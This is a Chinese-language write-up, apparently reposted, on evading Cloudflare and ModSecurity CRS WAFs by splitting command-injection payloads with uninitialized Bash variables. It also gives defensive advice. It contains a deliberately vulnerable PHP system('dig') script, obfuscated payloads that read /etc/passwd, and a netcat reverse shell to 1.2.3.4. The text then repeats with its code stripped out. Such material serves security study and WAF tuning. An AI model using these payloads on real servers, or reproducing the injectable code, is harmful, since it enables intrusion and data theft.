Web应用程序防火墙(WAF)bypass技术(三)
字数 1238 2025-08-18 11:37:53

Web应用程序防火墙(WAF)绕过技术:利用未初始化的Bash变量

技术概述

本文介绍了一种利用未初始化的Bash变量来绕过基于正则表达式过滤器和模式匹配的Web应用程序防火墙(WAF)的技术。该技术通过在命令中插入未初始化的变量,将单一命令分解为看似无害的片段,从而规避WAF的检测规则。

核心原理

未初始化的Bash变量特性

在Bash中,未初始化的变量具有以下特性:

  • 未初始化的变量具有null值(根本没有值)
  • Bash默认将未初始化的变量视为空字符串
  • 这些变量可以在参数内使用,甚至可以执行与未初始化变量连接的命令

示例:

echo "uninitialized_variable=$uninitialized_variable"

等同于:

uninitialized_variable=

命令构造方法

通过将命令分解并在各部分之间插入未初始化的变量,可以构造出对WAF不可识别但对Bash有效的命令。

例如,要执行cat /etc/passwd,可以使用:

cat$u /etc$u/passwd$u

其中$u是未初始化的变量,Bash会将其视为空字符串,实际执行的命令仍然是cat /etc/passwd

实际绕过案例

CloudFlare WAF绕过

测试环境

  • 简单的PHP脚本:
<?php
if(isset($_GET['host'])) {
    system('dig '.$_GET['host']);
}

正常攻击尝试

/?host=www.google.com;cat+/etc/passwd

→ 被CloudFlare WAF阻止

绕过技术

/?host=www.google.com;cat$u+/etc$u/passwd$u

→ 成功绕过,泄露/etc/passwd文件内容

反弹shell绕过

nc$u -e /bin$u/bash$u 1.2.3.4 1337

→ 成功绕过CloudFlare的netcat检测规则

ModSecurity OWASP CRS3.1绕过

防护等级3下的测试

初始尝试:

/?host=www.google.it;cat+/etc/passwd

→ 被规则932100 "Unix命令注入"阻止

第一次绕过尝试

?host=www.google.it ;+$u+cat+/etc/passwd

→ 绕过规则932100,但因"etc/passwd"字符串被阻止

成功绕过

?host=www.google.it ;+$u+cat+/etc$u/passwd$u

→ 成功执行命令

带引号的更安全脚本测试

<?php
if(isset($_GET['host'])) {
    system('dig "'.$_GET['host'].'"');
}

绕过尝试

/?host=www.google.it";cat+/etc/passwd+#

→ 在CloudFlare上成功,但在CRS3防护等级3下被以下规则阻止:

  1. 规则942460 "元字符异常检测警报 - 重复非字字符"
  2. 规则942260 "检测到数量达到2/3的基本SQL身份验证绕过"

防护等级2下的成功绕过

/?host=www.google.it";+$u+cat+/etc$u/passwd+\#

防御建议

  1. 输入验证

    • 严格验证所有用户输入,使用白名单方法
    • 对于dig命令,只允许有效的域名字符
  2. 命令执行安全

    • 避免直接使用用户输入拼接系统命令
    • 使用escapeshellarg()等函数对参数进行转义
  3. WAF规则优化

    • 监控异常多的非单词字符出现
    • 结合多个规则进行综合判断,而非单一规则检测
    • 考虑命令的语义而不仅是语法模式
  4. 日志分析

    • 记录所有被阻止的请求
    • 分析攻击模式,持续更新防护规则

技术限制

  • 在OWASP CRS3.1的高防护等级(3-4)下,这种技术更难成功
  • 需要目标系统使用Bash作为命令解释器
  • 对经过严格输入验证和参数化查询的系统无效

总结

未初始化的Bash变量技术展示了WAF仅依赖模式匹配的局限性。有效的防御需要多层安全措施,包括严格的输入验证、安全的编程实践和智能的WAF规则组合。OWASP CRS3采用的非单词字符重复检测等方法比简单的字符黑名单更为有效,减少了误报同时提高了安全性。

Web应用程序防火墙(WAF)绕过技术:利用未初始化的Bash变量 技术概述 本文介绍了一种利用未初始化的Bash变量来绕过基于正则表达式过滤器和模式匹配的Web应用程序防火墙(WAF)的技术。该技术通过在命令中插入未初始化的变量,将单一命令分解为看似无害的片段,从而规避WAF的检测规则。 核心原理 未初始化的Bash变量特性 在Bash中,未初始化的变量具有以下特性: 未初始化的变量具有null值(根本没有值) Bash默认将未初始化的变量视为空字符串 这些变量可以在参数内使用,甚至可以执行与未初始化变量连接的命令 示例: 等同于: 命令构造方法 通过将命令分解并在各部分之间插入未初始化的变量,可以构造出对WAF不可识别但对Bash有效的命令。 例如,要执行 cat /etc/passwd ,可以使用: 其中 $u 是未初始化的变量,Bash会将其视为空字符串,实际执行的命令仍然是 cat /etc/passwd 。 实际绕过案例 CloudFlare WAF绕过 测试环境 : 简单的PHP脚本: 正常攻击尝试 : → 被CloudFlare WAF阻止 绕过技术 : → 成功绕过,泄露/etc/passwd文件内容 反弹shell绕过 : → 成功绕过CloudFlare的netcat检测规则 ModSecurity OWASP CRS3.1绕过 防护等级3下的测试 : 初始尝试: → 被规则932100 "Unix命令注入"阻止 第一次绕过尝试 : → 绕过规则932100,但因"etc/passwd"字符串被阻止 成功绕过 : → 成功执行命令 带引号的更安全脚本测试 : 绕过尝试 : → 在CloudFlare上成功,但在CRS3防护等级3下被以下规则阻止: 规则942460 "元字符异常检测警报 - 重复非字字符" 规则942260 "检测到数量达到2/3的基本SQL身份验证绕过" 防护等级2下的成功绕过 : 防御建议 输入验证 : 严格验证所有用户输入,使用白名单方法 对于dig命令,只允许有效的域名字符 命令执行安全 : 避免直接使用用户输入拼接系统命令 使用escapeshellarg()等函数对参数进行转义 WAF规则优化 : 监控异常多的非单词字符出现 结合多个规则进行综合判断,而非单一规则检测 考虑命令的语义而不仅是语法模式 日志分析 : 记录所有被阻止的请求 分析攻击模式,持续更新防护规则 技术限制 在OWASP CRS3.1的高防护等级(3-4)下,这种技术更难成功 需要目标系统使用Bash作为命令解释器 对经过严格输入验证和参数化查询的系统无效 总结 未初始化的Bash变量技术展示了WAF仅依赖模式匹配的局限性。有效的防御需要多层安全措施,包括严格的输入验证、安全的编程实践和智能的WAF规则组合。OWASP CRS3采用的非单词字符重复检测等方法比简单的字符黑名单更为有效,减少了误报同时提高了安全性。